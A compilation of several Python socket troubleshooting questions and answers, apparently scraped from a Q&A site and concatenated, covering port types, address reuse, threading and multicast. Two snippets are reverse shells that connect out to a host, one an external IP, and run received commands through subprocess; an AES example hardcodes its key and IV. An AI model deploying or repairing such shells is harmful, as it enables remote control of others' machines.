I'm trying to use the socket object in one of my python codes and it fails at this line:
#!/usr/bin/python
import subprocess,socket
HOST = '127.0.0.1'
PORT = '443'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('Yo')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput1 = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
s.send('Bye')
s.close()
It fails at: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
File "C:\Python27\lib\socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
TypeError: an integer is required
It's telling me an integer is required in the parameters when I can't see why it would be. It calls this method from socket.py:
def meth(name,self,*args):
return getattr(self._sock,name)(*args)
You have misunderstood the error message, and are looking at the wrong line. It is the s.connect() call that fails:
>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(('127.0.0.1', '443'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/Users/mjpieters/Development/Library/buildout.python/parts/opt/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
TypeError: an integer is required
Note that it is not the socket.socket() call that failed here, it is the s.connect() call instead, because '443' is not a valid port number.
Port numbers must be integers, not strings; correct your PORT variable:
PORT = 443 # make this an integer
With that change connecting works (provided the port is connectable):
>>> s.connect(('127.0.0.1', 443))
Related
We have Hasseb USB Dali Master and try to used python library (github.com/sde1000/python-dali). But codes from section “Examples” don’t work.
We used Armbian Linux (Ubuntu based operating system)
The library https://github.com/onitake/daliserver was installed.
We try to start set_single.py separately.
$sudo python set_single.py
Traceback (most recent call last):
File "set_single.py", line 25, in <module> d.send(cmd)
File "build/bdist.linux-armv7l/egg/dali/driver/daliserver.py", line 43, in send
File "/usr/lib/python2.7/socket.py", line 575, in create_connection raise err
socket.error: [Errno 111] Connection refused
And try to start dalliserver in another terminal.
$ sudo python server.py
('Connection address_:', ('127.0.0.1', 43653))
Traceback (most recent call last):
File "server.py", line 14, in <module>
s.bind((TCP_IP, TCP_PORT))
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 98] Address already in use
(This error occurred when set_single.py started)
$ sudo python set_single.py
Traceback (most recent call last):
File "set_single.py", line 25, in <module>
d.send(cmd)
File "build/bdist.linux-armv7l/egg/dali/driver/daliserver.py", line 66, in send
File "build/bdist.linux-armv7l/egg/dali/driver/daliserver.py", line 84, in unpack_response
struct.error: unpack requires a string argument of length 4
file set_single.py
from dali.address import Broadcast
from dali.address import Short
from dali.gear.general import DAPC
from dali.driver.daliserver import DaliServer
import sys
if __name__ == "__main__":
addr = Broadcast()
level = int(150)
d = DaliServer("localhost", 55825 )
cmd = DAPC(addr, level)
d.send(cmd)
file server.py
import socket
TCP_IP = '127.0.0.1'
TCP_PORT = 55825
BUFFER_SIZE = 20
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)
conn, addr = s.accept()
try:
print("Connection address_:", addr)
while 1:
conn.setblocking(0)
conn.settimeout(20.0)
data = conn.recv(BUFFER_SIZE)
if not data:
break
stream = ":".join("{:02x}".format(ord(chr(c))) for c in data)
print("received data: [{1}] {0}".format(stream, len(data)))
conn.send(b"\x02\xff\x00\x00")
except:
pass
conn.close()
I tried below code:
#!/usr/bin/python
import socket,subprocess
HOST = '78.163.XX.XX'
PORT = 22
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()
But i got error :
Traceback (most recent call last):
File "rs.py", line 6, in <module>
s.connect(('78.163.XX.XX', 22))
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused
its my wan ip:78.163.XX.XX and i opened a ssh port(22) and normal port(4444) and redirected to my internal ip (192.168.2.50) from my modem interface.But still i cannot open to ssh tunnel between 2 different computer not on same network.
How can i solve this problem? or what is my problem? Any idea?
Additionally, if i try locally host=socket.gethostname(),its work properly.But its not work not on same network pcs.
Thank you in advance..
I wrote this code that functions properly on Windows but gives a few errors on my Ubuntu 12.04. Although the code performs well its intended function but its given some errors which I don't want.. Kindly help me in this regard..
from socket import *
from threading import Thread
from Crypto.Cipher import AES
import os
import base64
import timeit
# Receiveing + Decoding the Information, symmetrical key isi
def clientHandler():
conn, addr = s.accept()
print addr, "is connected"
while 1:
data = conn.recv(1024)
if not data:
break
print "Metering Data Received: Processing..."
#creating decoding unpadding
PADDING ="{"
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
#creating a default key
obj2 = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')
decrypted_data = DecodeAES(obj2,data)
print decrypted_data
HOST = "" #localhost
PORT = 12000
s = socket(AF_INET, SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(4)
print "Server is runnig"
#Thread(target=clientHandler).start()
#Thread(target=clientHandler).start()
#Thread(target=clientHandler).start()
for i in range(4):
Thread(target=clientHandler).start()
s.close()
And this is what appears on the terminal of Ubuntu but not on Windows based...
Server is runnig
Exception in thread Thread-4:
Traceback (most recent call last):
File "/usr/lib/python2.7/threading.py", line 551, in __bootstrap_inner
self.run()
File "/usr/lib/python2.7/threading.py", line 504, in run
self.__target(*self.__args, **self.__kwargs)
File "chat_encrypt.py", line 10, in clientHandler
conn, addr = s.accept()
File "/usr/lib/python2.7/socket.py", line 202, in accept
sock, addr = self._sock.accept()
File "/usr/lib/python2.7/socket.py", line 170, in _dummy
raise error(EBADF, 'Bad file descriptor')
error: [Errno 9] Bad file descriptor
for i in range(4):
Thread(target=clientHandler).start()
s.close()
The last line closes the socket ... which each thread then tries to 'accept'.
I'm trying to write a simple server program that prints the data sent to it, or quits if the data is "quit", "exit", or "stop":
HOST = ""
PORT = 37720
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen(1)
while(1):
conn, addr = server.accept()
data = conn.recv(1024)
if not data: break
inData, inUrl = json.loads(data)
if inData == "quit" or inData == "exit" or inData == "stop":
print("Quitting")
conn.close()
break
else:
conn.send("Received")
print(inData)
It does what I expect, except that when I try to run the server again once it's quit, I get:
Traceback (most recent call last):
File "./s", line 14, in <module>
server.bind((HOST, PORT))
File "/usr/lib/python2.7/socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 98] Address already in use
I assume this means the connection wasn't closed. How can I close it to prevent this? I tried the conn.close(), but it didn't fix anything.
You need to set SO_REUSEADDR flag.
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
I have some example python code that I got from another stack overflow answer (can't remember where), that implements multicasting. The following code should set up a socket object for receiving multicast packets.
I encapsulated it in a class like so:
class Multisock:
def __init__(self, MCAST_GRP, MCAST_PORT, packsize):
import socket
import struct
self.MCAST_GRP = MCAST_GRP
self.MCAST_PORT = MCAST_PORT
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(('', MCAST_PORT))
mreq = struct.pack("4sl", socket.inet_aton(MCAST_GRP), socket.INADDR_ANY)
self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
However, this gives me this error:
Traceback (most recent call last):
File "./Audiorecv.py", line 41, in <module>
sock = MulticastNetworking.Multisock('244.1.1.1', 5007, chunk)
File "/home/wheybags/Multicast-Voice-Chat/MulticastNetworking.py", line 30, in __init__
self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
File "/usr/lib/python2.7/socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 22] Invalid argument
Which is really confusing because if I just set MCAST_GRP statically to a string representing an ip, it works, but it gives the error above if I try to use a constructor argument.
The multicast address you're using, 244.1.1.1, is invalid. Multicast addresses range from 224.0.0.0 to 239.255.255.255. I ran your code with 224.1.1.1, a valid address, and it worked just fine.